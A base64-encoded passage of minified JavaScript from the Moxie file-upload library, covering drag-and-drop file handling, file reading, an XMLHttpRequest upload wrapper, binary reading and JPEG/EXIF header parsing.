1bmN0aW9uKCl7ZnVuY3Rpb24gbyhlKXtpZighZS5kYXRhVHJhbnNmZXJ8fCFlLmRhdGFUcmFuc2Zlci50eXBlcylyZXR1cm4hMTt2YXIgdD1jLnRvQXJyYXkoZS5kYXRhVHJhbnNmZXIudHlwZXN8fFtdKTtyZXR1cm4tMSE9PWMuaW5BcnJheSgiRmlsZXMiLHQpfHwtMSE9PWMuaW5BcnJheSgicHVibGljLmZpbGUtdXJsIix0KXx8LTEhPT1jLmluQXJyYXkoImFwcGxpY2F0aW9uL3gtbW96LWZpbGUiLHQpfWZ1bmN0aW9uIHUoZSx0KXtpZihmdW5jdGlvbihlKXtpZighYS5sZW5ndGgpcmV0dXJuITA7dmFyIHQ9ZC5nZXRGaWxlRXh0ZW5zaW9uKGUubmFtZSk7cmV0dXJuIXR8fC0xIT09Yy5pbkFycmF5KHQsYSl9KGUpKXt2YXIgaT1uZXcgcihuLGUpO2kucmVsYXRpdmVQYXRoPXR8fCIiLHMucHVzaChpKX19dmFyIGksbixzPVtdLGE9W107Yy5leHRlbmQodGhpcyx7aW5pdDpmdW5jdGlvbihlKXt2YXIgdCxyPXRoaXM7aT1lLG49ci5ydWlkLGE9ZnVuY3Rpb24oZSl7Zm9yKHZhciB0PVtdLGk9MDtpPGUubGVuZ3RoO2krKylbXS5wdXNoLmFwcGx5KHQsZVtpXS5leHRlbnNpb25zLnNwbGl0KC9ccyosXHMqLykpO3JldHVybi0xPT09Yy5pbkFycmF5KCIqIix0KT90OltdfShpLmFjY2VwdCksdD1pLmNvbnRhaW5lcixsLmFkZEV2ZW50KHQsImRyYWdvdmVyIixmdW5jdGlvbihlKXtvKGUpJiYoZS5wcmV2ZW50RGVmYXVsdCgpLGUuZGF0YVRyYW5zZmVyLmRyb3BFZmZlY3Q9ImNvcHkiKX0sci51aWQpLGwuYWRkRXZlbnQodCwiZHJvcCIsZnVuY3Rpb24oZSl7dmFyIHQsaSxuO28oZSkmJihlLnByZXZlbnREZWZhdWx0KCkscz1bXSxlLmRhdGFUcmFuc2Zlci5pdGVtcyYmZS5kYXRhVHJhbnNmZXIuaXRlbXNbMF0ud2Via2l0R2V0QXNFbnRyeT8odD1lLmRhdGFUcmFuc2Zlci5pdGVtcyxpPWZ1bmN0aW9uKCl7ci5maWxlcz1zLHIudHJpZ2dlcigiZHJvcCIpfSxuPVtdLGMuZWFjaCh0LGZ1bmN0aW9uKGUpe3ZhciB0PWUud2Via2l0R2V0QXNFbnRyeSgpO3QmJih0LmlzRmlsZT91KGUuZ2V0QXNGaWxlKCksdC5mdWxsUGF0aCk6bi5wdXNoKHQpKX0pLG4ubGVuZ3RoP2Z1bmN0aW9uIGEoZSx0KXt2YXIgaT1bXTtjLmVhY2goZSxmdW5jdGlvbihzKXtpLnB1c2goZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHIsbztpPWUsKHQ9cykuaXNGaWxlP3QuZmlsZShmdW5jdGlvbihlKXt1KGUsdC5mdWxsUGF0aCksaSgpfSxmdW5jdGlvbigpe2koKX0pOnQuaXNEaXJlY3Rvcnk/KG49aSxyPVtdLG89dC5jcmVhdGVSZWFkZXIoKSxmdW5jdGlvbiB0KGkpe28ucmVhZEVudHJpZXMoZnVuY3Rpb24oZSl7ZS5sZW5ndGg/KFtdLnB1c2guYXBwbHkocixlKSx0KGkpKTppKCl9LGkpfShmdW5jdGlvbigpe2EocixuKX0pKTppKCl9KX0pLGMuaW5TZXJpZXMoaSxmdW5jdGlvbigpe3QoKX0pfShuLGkpOmkoKSk6KGMuZWFjaChlLmRhdGFUcmFuc2Zlci5maWxlcyxmdW5jdGlvbihlKXt1KGUpfSksci5maWxlcz1zLHIudHJpZ2dlcigiZHJvcCIpKSl9LHIudWlkKSxsLmFkZEV2ZW50KHQsImRyYWdlbnRlciIsZnVuY3Rpb24oKXtyLnRyaWdnZXIoImRyYWdlbnRlciIpfSxyLnVpZCksbC5hZGRFdmVudCh0LCJkcmFnbGVhdmUiLGZ1bmN0aW9uKCl7ci50cmlnZ2VyKCJkcmFnbGVhdmUiKX0sci51aWQpfSxkZXN0cm95OmZ1bmN0aW9uKCl7bC5yZW1vdmVBbGxFdmVudHMoaSYmdC5nZXQoaS5jb250YWluZXIpLHRoaXMudWlkKSxuPXM9YT1pPW51bGwsdGhpcy5nZXRSdW50aW1lKCkuZ2V0U2hpbSgpLnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKX19KX19KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L2ZpbGUvRmlsZVJlYWRlciIsWyJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiXSxmdW5jdGlvbihlLG8scyl7cmV0dXJuIGUuRmlsZVJlYWRlcj1mdW5jdGlvbigpe3ZhciBuLHI9ITE7cy5leHRlbmQodGhpcyx7cmVhZDpmdW5jdGlvbihlLHQpe3ZhciBpPXRoaXM7aS5yZXN1bHQ9IiIsKG49bmV3IHdpbmRvdy5GaWxlUmVhZGVyKS5hZGRFdmVudExpc3RlbmVyKCJwcm9ncmVzcyIsZnVuY3Rpb24oZSl7aS50cmlnZ2VyKGUpfSksbi5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbihlKXt2YXIgdDtpLnJlc3VsdD1yPyh0PW4ucmVzdWx0LG8uYXRvYih0LnN1YnN0cmluZyh0LmluZGV4T2YoImJhc2U2NCwiKSs3KSkpOm4ucmVzdWx0LGkudHJpZ2dlcihlKX0pLG4uYWRkRXZlbnRMaXN0ZW5lcigiZXJyb3IiLGZ1bmN0aW9uKGUpe2kudHJpZ2dlcihlLG4uZXJyb3IpfSksbi5hZGRFdmVudExpc3RlbmVyKCJsb2FkZW5kIixmdW5jdGlvbihlKXtuPW51bGwsaS50cmlnZ2VyKGUpfSksImZ1bmN0aW9uIj09PXMudHlwZU9mKG5bZV0pPyhyPSExLG5bZV0odC5nZXRTb3VyY2UoKSkpOiJyZWFkQXNCaW5hcnlTdHJpbmciPT09ZSYmKHI9ITAsbi5yZWFkQXNEYXRhVVJMKHQuZ2V0U291cmNlKCkpKX0sYWJvcnQ6ZnVuY3Rpb24oKXtuJiZuLmFib3J0KCl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXtuPW51bGwsdGhpcy5nZXRSdW50aW1lKCkuZ2V0U2hpbSgpLnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKX19KX19KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L3hoci9YTUxIdHRwUmVxdWVzdCIsWyJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9NaW1lIiwibW94aWUvY29yZS91dGlscy9VcmwiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS94aHIvRm9ybURhdGEiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGUsbCxkLGgscCxtLGYsZyx4KXtyZXR1cm4gZS5YTUxIdHRwUmVxdWVzdD1mdW5jdGlvbigpe3ZhciB1LGMsYT10aGlzO2wuZXh0ZW5kKHRoaXMse3NlbmQ6ZnVuY3Rpb24oZSxpKXt2YXIgbj10aGlzLHQ9Ik1vemlsbGEiPT09eC5icm93c2VyJiZ4LnZlckNvbXAoeC52ZXJzaW9uLDQsIj49IikmJngudmVyQ29tcCh4LnZlcnNpb24sNywiPCIpLHI9IkFuZHJvaWQgQnJvd3NlciI9PT14LmJyb3dzZXIsbz0hMTtpZihjPWUudXJsLnJlcGxhY2UoL14uKz9cLyhbXHdcLVwuXSspJC8sIiQxIikudG9Mb3dlckNhc2UoKSwodT0hd2luZG93LlhNTEh0dHBSZXF1ZXN0fHwiSUUiPT09eC5icm93c2VyJiZ4LnZlckNvbXAoeC52ZXJzaW9uLDgsIjwiKT9mdW5jdGlvbigpe2Zvcih2YXIgZT1bIk1zeG1sMi5YTUxIVFRQLjYuMCIsIk1pY3Jvc29mdC5YTUxIVFRQIl0sdD0wO3Q8ZS5sZW5ndGg7dCsrKXRyeXtyZXR1cm4gbmV3IEFjdGl2ZVhPYmplY3QoZVt0XSl9Y2F0Y2goZSl7fX0oKTpuZXcgd2luZG93LlhNTEh0dHBSZXF1ZXN0KS5vcGVuKGUubWV0aG9kLGUudXJsLGUuYXN5bmMsZS51c2VyLGUucGFzc3dvcmQpLGkgaW5zdGFuY2VvZiBtKWkuaXNEZXRhY2hlZCgpJiYobz0hMCksaT1pLmdldFNvdXJjZSgpO2Vsc2UgaWYoaSBpbnN0YW5jZW9mIGYpe2lmKGkuaGFzQmxvYigpKWlmKGkuZ2V0QmxvYigpLmlzRGV0YWNoZWQoKSlpPWZ1bmN0aW9uKGUpe3ZhciBpPSItLS0tbW94aWVib3VuZGFyeSIrKG5ldyBEYXRlKS5nZXRUaW1lKCksbj0iXHJcbiIscj0iIjtpZighdGhpcy5nZXRSdW50aW1lKCkuY2FuKCJzZW5kX2JpbmFyeV9zdHJpbmciKSl0aHJvdyBuZXcgZy5SdW50aW1lRXJyb3IoZy5SdW50aW1lRXJyb3IuTk9UX1NVUFBPUlRFRF9FUlIpO3JldHVybiB1LnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsIm11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSIraSksZS5lYWNoKGZ1bmN0aW9uKGUsdCl7cis9ZSBpbnN0YW5jZW9mIG0/Ii0tIitpK24rJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iJyt0KyciOyBmaWxlbmFtZT0iJyt1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoZS5uYW1lfHwiYmxvYiIpKSsnIicrbisiQ29udGVudC1UeXBlOiAiKyhlLnR5cGV8fCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKStuK24rZS5nZXRTb3VyY2UoKStuOiItLSIraStuKydDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IicrdCsnIicrbituK3VuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChlKSkrbn0pLHIrPSItLSIraSsiLS0iK259LmNhbGwobixpKSxvPSEwO2Vsc2UgaWYoKHR8fHIpJiYiYmxvYiI9PT1sLnR5cGVPZihpLmdldEJsb2IoKS5nZXRTb3VyY2UoKSkmJndpbmRvdy5GaWxlUmVhZGVyKXJldHVybiB2b2lkIGZ1bmN0aW9uKGUsdCl7dmFyIGksbixyPXRoaXM7aT10LmdldEJsb2IoKS5nZXRTb3VyY2UoKSwobj1uZXcgd2luZG93LkZpbGVSZWFkZXIpLm9ubG9hZD1mdW5jdGlvbigpe3QuYXBwZW5kKHQuZ2V0QmxvYk5hbWUoKSxuZXcgbShudWxsLHt0eXBlOmkudHlwZSxkYXRhOm4ucmVzdWx0fSkpLGEuc2VuZC5jYWxsKHIsZSx0KX0sbi5yZWFkQXNCaW5hcnlTdHJpbmcoaSl9LmNhbGwobixlLGkpO2lmKGkgaW5zdGFuY2VvZiBmKXt2YXIgcz1uZXcgd2luZG93LkZvcm1EYXRhO2kuZWFjaChmdW5jdGlvbihlLHQpe2UgaW5zdGFuY2VvZiBtP3MuYXBwZW5kKHQsZS5nZXRTb3VyY2UoKSk6cy5hcHBlbmQodCxlKX0pLGk9c319dS51cGxvYWQ/KGUud2l0aENyZWRlbnRpYWxzJiYodS53aXRoQ3JlZGVudGlhbHM9ITApLHUuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsZnVuY3Rpb24oZSl7bi50cmlnZ2VyKGUpfSksdS5hZGRFdmVudExpc3RlbmVyKCJlcnJvciIsZnVuY3Rpb24oZSl7bi50cmlnZ2VyKGUpfSksdS5hZGRFdmVudExpc3RlbmVyKCJwcm9ncmVzcyIsZnVuY3Rpb24oZSl7bi50cmlnZ2VyKGUpfSksdS51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigicHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpe24udHJpZ2dlcih7dHlwZToiVXBsb2FkUHJvZ3Jlc3MiLGxvYWRlZDplLmxvYWRlZCx0b3RhbDplLnRvdGFsfSl9KSk6dS5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtzd2l0Y2godS5yZWFkeVN0YXRlKXtjYXNlIDE6Y2FzZSAyOmJyZWFrO2Nhc2UgMzp2YXIgdCxpO3RyeXtoLmhhc1NhbWVPcmlnaW4oZS51cmwpJiYodD11LmdldFJlc3BvbnNlSGVhZGVyKCJDb250ZW50LUxlbmd0aCIpfHwwKSx1LnJlc3BvbnNlVGV4dCYmKGk9dS5yZXNwb25zZVRleHQubGVuZ3RoKX1jYXRjaChlKXt0PWk9MH1uLnRyaWdnZXIoe3R5cGU6InByb2dyZXNzIixsZW5ndGhDb21wdXRhYmxlOiEhdCx0b3RhbDpwYXJzZUludCh0LDEwKSxsb2FkZWQ6aX0pO2JyZWFrO2Nhc2UgNDp1Lm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpe307dHJ5e2lmKDIwMDw9dS5zdGF0dXMmJnUuc3RhdHVzPDQwMCl7bi50cmlnZ2VyKCJsb2FkIik7YnJlYWt9fWNhdGNoKGUpe31uLnRyaWdnZXIoImVycm9yIil9fSxsLmlzRW1wdHlPYmooZS5oZWFkZXJzKXx8bC5lYWNoKGUuaGVhZGVycyxmdW5jdGlvbihlLHQpe3Uuc2V0UmVxdWVzdEhlYWRlcih0LGUpfSksIiIhPT1lLnJlc3BvbnNlVHlwZSYmInJlc3BvbnNlVHlwZSJpbiB1JiYodS5yZXNwb25zZVR5cGU9Impzb24iIT09ZS5yZXNwb25zZVR5cGV8fHguY2FuKCJyZXR1cm5fcmVzcG9uc2VfdHlwZSIsImpzb24iKT9lLnJlc3BvbnNlVHlwZToidGV4dCIpLG8/dS5zZW5kQXNCaW5hcnk/dS5zZW5kQXNCaW5hcnkoaSk6ZnVuY3Rpb24oKXtmb3IodmFyIGU9bmV3IFVpbnQ4QXJyYXkoaS5sZW5ndGgpLHQ9MDt0PGkubGVuZ3RoO3QrKyllW3RdPTI1NSZpLmNoYXJDb2RlQXQodCk7dS5zZW5kKGUuYnVmZmVyKX0oKTp1LnNlbmQoaSksbi50cmlnZ2VyKCJsb2Fkc3RhcnQiKX0sZ2V0U3RhdHVzOmZ1bmN0aW9uKCl7dHJ5e2lmKHUpcmV0dXJuIHUuc3RhdHVzfWNhdGNoKGUpe31yZXR1cm4gMH0sZ2V0UmVzcG9uc2U6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHI9dGhpcy5nZXRSdW50aW1lKCk7dHJ5e3N3aXRjaChlKXtjYXNlImJsb2IiOnZhciBvPW5ldyBwKHIudWlkLHUucmVzcG9uc2UpLHM9dS5nZXRSZXNwb25zZUhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbiIpO2lmKHMpe3ZhciBhPXMubWF0Y2goL2ZpbGVuYW1lPShbXCdcIiddKShbXlwxXSspXDEvKTthJiYoYz1hWzJdKX1yZXR1cm4gby5uYW1lPWMsby50eXBlfHwoby50eXBlPWQuZ2V0RmlsZU1pbWUoYykpLG87Y2FzZSJqc29uIjpyZXR1cm4geC5jYW4oInJldHVybl9yZXNwb25zZV90eXBlIiwianNvbiIpP3UucmVzcG9uc2U6MjAwPT09dS5zdGF0dXMmJndpbmRvdy5KU09OP0pTT04ucGFyc2UodS5yZXNwb25zZVRleHQpOm51bGw7Y2FzZSJkb2N1bWVudCI6cmV0dXJuIGk9KHQ9dSkucmVzcG9uc2VYTUwsbj10LnJlc3BvbnNlVGV4dCwiSUUiPT09eC5icm93c2VyJiZuJiZpJiYhaS5kb2N1bWVudEVsZW1lbnQmJi9bXlwvXStcL1teXCtdK1wreG1sLy50ZXN0KHQuZ2V0UmVzcG9uc2VIZWFkZXIoIkNvbnRlbnQtVHlwZSIpKSYmKChpPW5ldyB3aW5kb3cuQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpKS5hc3luYz0hMSxpLnZhbGlkYXRlT25QYXJzZT0hMSxpLmxvYWRYTUwobikpLGkmJigiSUUiPT09eC5icm93c2VyJiYwIT09aS5wYXJzZUVycm9yfHwhaS5kb2N1bWVudEVsZW1lbnR8fCJwYXJzZXJlcnJvciI9PT1pLmRvY3VtZW50RWxlbWVudC50YWdOYW1lKT9udWxsOmk7ZGVmYXVsdDpyZXR1cm4iIiE9PXUucmVzcG9uc2VUZXh0P3UucmVzcG9uc2VUZXh0Om51bGx9fWNhdGNoKGUpe3JldHVybiBudWxsfX0sZ2V0QWxsUmVzcG9uc2VIZWFkZXJzOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB1LmdldEFsbFJlc3BvbnNlSGVhZGVycygpfWNhdGNoKGUpe31yZXR1cm4iIn0sYWJvcnQ6ZnVuY3Rpb24oKXt1JiZ1LmFib3J0KCl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXthPWM9bnVsbCx0aGlzLmdldFJ1bnRpbWUoKS5nZXRTaGltKCkucmVtb3ZlSW5zdGFuY2UodGhpcy51aWQpfX0pfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvdXRpbHMvQmluYXJ5UmVhZGVyIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiXSxmdW5jdGlvbih0KXtmdW5jdGlvbiBlKGUpe2UgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcj9mdW5jdGlvbihyKXt2YXIgbz1uZXcgRGF0YVZpZXcocik7dC5leHRlbmQodGhpcyx7cmVhZEJ5dGVBdDpmdW5jdGlvbihlKXtyZXR1cm4gby5nZXRVaW50OChlKX0sd3JpdGVCeXRlQXQ6ZnVuY3Rpb24oZSx0KXtvLnNldFVpbnQ4KGUsdCl9LFNFR01FTlQ6ZnVuY3Rpb24oZSx0LGkpe3N3aXRjaChhcmd1bWVudHMubGVuZ3RoKXtjYXNlIDI6cmV0dXJuIHIuc2xpY2UoZSxlK3QpO2Nhc2UgMTpyZXR1cm4gci5zbGljZShlKTtjYXNlIDM6aWYobnVsbD09PWkmJihpPW5ldyBBcnJheUJ1ZmZlciksaSBpbnN0YW5jZW9mIEFycmF5QnVmZmVyKXt2YXIgbj1uZXcgVWludDhBcnJheSh0aGlzLmxlbmd0aCgpLXQraS5ieXRlTGVuZ3RoKTswPGUmJm4uc2V0KG5ldyBVaW50OEFycmF5KHIuc2xpY2UoMCxlKSksMCksbi5zZXQobmV3IFVpbnQ4QXJyYXkoaSksZSksbi5zZXQobmV3IFVpbnQ4QXJyYXkoci5zbGljZShlK3QpKSxlK2kuYnl0ZUxlbmd0aCksdGhpcy5jbGVhcigpLHI9bi5idWZmZXIsbz1uZXcgRGF0YVZpZXcocik7YnJlYWt9ZGVmYXVsdDpyZXR1cm4gcn19LGxlbmd0aDpmdW5jdGlvbigpe3JldHVybiByP3IuYnl0ZUxlbmd0aDowfSxjbGVhcjpmdW5jdGlvbigpe289cj1udWxsfX0pfS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6ZnVuY3Rpb24obil7ZnVuY3Rpb24gcihlLHQsaSl7aT0zPT09YXJndW1lbnRzLmxlbmd0aD9pOm4ubGVuZ3RoLXQtMSxuPW4uc3Vic3RyKDAsdCkrZStuLnN1YnN0cihpK3QpfXQuZXh0ZW5kKHRoaXMse3JlYWRCeXRlQXQ6ZnVuY3Rpb24oZSl7cmV0dXJuIG4uY2hhckNvZGVBdChlKX0sd3JpdGVCeXRlQXQ6ZnVuY3Rpb24oZSx0KXtyKFN0cmluZy5mcm9tQ2hhckNvZGUodCksZSwxKX0sU0VHTUVOVDpmdW5jdGlvbihlLHQsaSl7c3dpdGNoKGFyZ3VtZW50cy5sZW5ndGgpe2Nhc2UgMTpyZXR1cm4gbi5zdWJzdHIoZSk7Y2FzZSAyOnJldHVybiBuLnN1YnN0cihlLHQpO2Nhc2UgMzpyKG51bGwhPT1pP2k6IiIsZSx0KTticmVhaztkZWZhdWx0OnJldHVybiBufX0sbGVuZ3RoOmZ1bmN0aW9uKCl7cmV0dXJuIG4/bi5sZW5ndGg6MH0sY2xlYXI6ZnVuY3Rpb24oKXtuPW51bGx9fSl9LmFwcGx5KHRoaXMsYXJndW1lbnRzKX1yZXR1cm4gdC5leHRlbmQoZS5wcm90b3R5cGUse2xpdHRsZUVuZGlhbjohMSxyZWFkOmZ1bmN0aW9uKGUsdCl7dmFyIGksbixyO2lmKGUrdD50aGlzLmxlbmd0aCgpKXRocm93IG5ldyBFcnJvcigiWW91IGFyZSB0cnlpbmcgdG8gcmVhZCBvdXRzaWRlIHRoZSBzb3VyY2UgYm91bmRhcmllcy4iKTtmb3Iobj10aGlzLmxpdHRsZUVuZGlhbj8wOi04Kih0LTEpLGk9cj0wO3I8dDtyKyspaXw9dGhpcy5yZWFkQnl0ZUF0KGUrcik8PE1hdGguYWJzKG4rOCpyKTtyZXR1cm4gaX0sd3JpdGU6ZnVuY3Rpb24oZSx0LGkpe3ZhciBuLHI7aWYoZT50aGlzLmxlbmd0aCgpKXRocm93IG5ldyBFcnJvcigiWW91IGFyZSB0cnlpbmcgdG8gd3JpdGUgb3V0c2lkZSB0aGUgc291cmNlIGJvdW5kYXJpZXMuIik7Zm9yKG49dGhpcy5saXR0bGVFbmRpYW4/MDotOCooaS0xKSxyPTA7cjxpO3IrKyl0aGlzLndyaXRlQnl0ZUF0KGUrciwyNTUmdD4+TWF0aC5hYnMobis4KnIpKX0sQllURTpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5yZWFkKGUsMSl9LFNIT1JUOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnJlYWQoZSwyKX0sTE9ORzpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5yZWFkKGUsNCl9LFNMT05HOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucmVhZChlLDQpO3JldHVybiAyMTQ3NDgzNjQ3PHQ/dC00Mjk0OTY3Mjk2OnR9LENIQVI6ZnVuY3Rpb24oZSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUodGhpcy5yZWFkKGUsMSkpfSxTVFJJTkc6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5hc0FycmF5KCJDSEFSIixlLHQpLmpvaW4oIiIpfSxhc0FycmF5OmZ1bmN0aW9uKGUsdCxpKXtmb3IodmFyIG49W10scj0wO3I8aTtyKyspbltyXT10aGlzW2VdKHQrcik7cmV0dXJuIG59fSksZX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvSlBFR0hlYWRlcnMiLFsibW94aWUvcnVudGltZS9odG1sNS91dGlscy9CaW5hcnlSZWFkZXIiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiXSxmdW5jdGlvbihhLHUpe3JldHVybiBmdW5jdGlvbiBvKGUpe3ZhciB0LHIsaSxzPVtdLG49MDtpZig2NTQ5NiE9PSh0PW5ldyBhKGUpKS5TSE9SVCgwKSl0aHJvdyB0LmNsZWFyKCksbmV3IHUuSW1hZ2VFcnJvcih1LkltYWdlRXJyb3IuV1JPTkdfRk9STUFUKTtmb3Iocj0yO3I8PXQubGVuZ3RoKCk7KWlmKDY1NDg4PD0oaT10LlNIT1JUKHIpKSYmaTw9NjU0OTUpcis9MjtlbHNle2lmKDY1NDk4PT09aXx8NjU0OTc9PT1pKWJyZWFrO249dC5TSE9SVChyKzIpKzIsNjU1MDU8PWkmJmk8PTY1NTE5JiZzLnB1c2goe2hleDppLG5hbWU6IkFQUCIrKDE1JmkpLHN0YXJ0OnIsbGVuZ3RoOm4sc2VnbWVudDp0LlNFR01FTlQocixuKX0pLHIrPW59cmV0dXJuIHQuY2xlYXIoKSx7aGVhZGVyczpzLHJlc3RvcmU6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuO2ZvcihuPW5ldyBhKGUpLHI9NjU1MDQ9PW4uU0hPUlQoMik/NCtuLlNIT1JUKDQpOjIsaT0wLHQ9cy5sZW5ndGg7aTx0O2krKyluLlNFR01FTlQociwwLHNbaV0uc2VnbWVudCkscis9c1tpXS5sZW5ndGg7cmV0dXJuIGU9bi5TRUdNRU5UKCksbi5jbGVhcigpLGV9LHN0cmlwOmZ1bmN0aW9uKGUpe3ZhciB0LGksbixyO2ZvcihpPShuPW5ldyBvKGUpKS5oZWFkZXJzLG4ucHVyZ2UoKSx0PW5ldyBhKGUpLHI9aS5sZW5ndGg7ci0tOyl0LlNFR01FTlQoaVtyXS5zdGFydCxpW3JdLmxlbmd0aCwiIik7cmV0dXJuIGU9dC5TRUdNRU5UKCksdC5jbGVhcigpLGV9LGdldDpmdW5jdGlvbihlKXtmb3IodmFyIHQ9W10saT0wLG49cy5sZW5ndGg7aTxuO2krKylzW2ldLm5hbWU9PT1lLnRvVXBwZXJDYXNlKCkmJnQucHVzaChzW2ldLnNlZ21lbnQpO3JldHVybiB0fSxzZXQ6ZnVuY3Rpb24oZSx0KXt2YXIgaSxuLHIsbz1bXTtmb3IoInN0cmluZyI9PXR5cGVvZiB0P28ucHVzaCh0KTpvPXQsaT1uPTAscj1zLmxlbmd0aDtpPHImJihzW2ldLm5hbWU9PT1lLnRvVXBwZXJDYXNlKCkmJihzW2ldLnNlZ21lbnQ9b1tuXSxzW2ldLmxlbmd0aD1vW25dLmxlbmd0aCxuKyspLCEobj49by5sZW5ndGgpKTtpKyspO30scHVyZ2U6ZnVuY3Rpb24oKXt0aGlzLmhlYWRlcnM9cz1bXX19fX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvRXhpZlBhcnNlciIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvcnVudGltZS9odG1sNS91dGlscy9CaW5hcnlSZWFkZXIiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiXSxmdW5jdGlvbih4LHMsdil7ZnVuY3Rpb24gYShlKXtmdW5jdGlvbiBuKGUsdCl7dmFyIGksbixyLG8scyxhLHUsYyxsPXRoaXMsZD1bXSxoPXt9LHA9ezE6IkJZVEUiLDc6IlVOREVGSU5FRCIsMjoiQVNDSUkiLDM6IlNIT1JUIiw0OiJMT05HIiw1OiJSQVRJT05BTCIsOToiU0xPTkciLDEwOiJTUkFUSU9OQUwifSxtPXtCWVRFOjEsVU5ERUZJTkVEOjEsQVNDSUk6MSxTSE9SVDoyLExPTkc6NCxSQVRJT05BTDo4LFNMT05HOjQsU1JBVElPTkFMOjh9O2ZvcihpPWwuU0hPUlQoZSksbj0wO248aTtuKyspaWYoZD1bXSx1PWUrMisxMipuLChyPXRbbC5TSE9SVCh1KV0pIT09eSl7aWYobz1wW2wuU0hPUlQodSs9MildLHM9bC5MT05HKHUrPTIpLCEoYT1tW29dKSl0aHJvdyBuZXcgdi5JbWFnZUVycm9yKHYuSW1hZ2VFcnJvci5JTlZBTElEX01FVEFfRVJSKTtpZih1Kz00LDQ8YSpzJiYodT1sLkxPTkcodSkrZy50aWZmSGVhZGVyKSx1K2Eqcz49dGhpcy5sZW5ndGgoKSl0aHJvdyBuZXcgdi5JbWFnZUVycm9yKHYuSW1hZ2VFcnJvci5JTlZBTElEX01FVEFfRVJSKTsiQVNDSUkiIT09bz8oZD1sLmFzQXJyYXkobyx1LHMpLGM9MT09cz9kWzBdOmQsaFtyXT1mLmhhc093blByb3BlcnR5KHIpJiYib2JqZWN0IiE9dHlwZW9mIGM/ZltyXVtjXTpjKTpoW3JdPXgudHJpbShsLlNUUklORyh1LHMpLnJlcGxhY2UoL1wwJC8sIiIpKX1yZXR1cm4gaH12YXIgdCxsLGYsZyxpLHI7aWYocy5jYWxsKHRoaXMsZSksbD17dGlmZjp7Mjc0OiJPcmllbnRhdGlvbiIsMjcwOiJJbWFnZURlc2NyaXB0aW9uIiwyNzE6Ik1ha2UiLDI3MjoiTW9kZWwiLDMwNToiU29mdHdhcmUiLDM0NjY1OiJFeGlmSUZEUG9pbnRlciIsMzQ4NTM6IkdQU0luZm9JRkRQb2ludGVyIn0sZXhpZjp7MzY4NjQ6IkV4aWZWZXJzaW9uIiw0MDk2MToiQ29sb3JTcGFjZSIsNDA5NjI6IlBpeGVsWERpbWVuc2lvbiIsNDA5NjM6IlBpeGVsWURpbWVuc2lvbiIsMzY4Njc6IkRhdGVUaW1lT3JpZ2luYWwiLDMzNDM0OiJFeHBvc3VyZVRpbWUiLDMzNDM3OiJGTnVtYmVyIiwzNDg1NToiSVNPU3BlZWRSYXRpbmdzIiwzNzM3NzoiU2h1dHRlclNwZWVkVmFsdWUiLDM3Mzc4OiJBcGVydHVyZVZhbHVlIiwzNzM4MzoiTWV0ZXJpbmdNb2RlIiwzNzM4NDoiTGlnaHRTb3VyY2UiLDM3Mzg1OiJGbGFzaCIsMzczODY6IkZvY2FsTGVuZ3RoIiw0MTk4NjoiRXhwb3N1cmVNb2RlIiw0MTk4NzoiV2hpdGVCYWxhbmNlIiw0MTk5MDoiU2NlbmVDYXB0dXJlVHlwZSIsNDE5ODg6IkRpZ2l0YWxab29tUmF0aW8iLDQxOTkyOiJDb250cmFzdCIsNDE5OTM6IlNhdHVyYXRpb24iLDQxOTk0OiJTaGFycG5lc3MifSxncHM6ezA6IkdQU1ZlcnNpb25JRCIsMToiR1BTTGF0aXR1ZGVSZWYiLDI6IkdQU0xhdGl0dWRlIiwzOiJHUFNMb25naXR1Z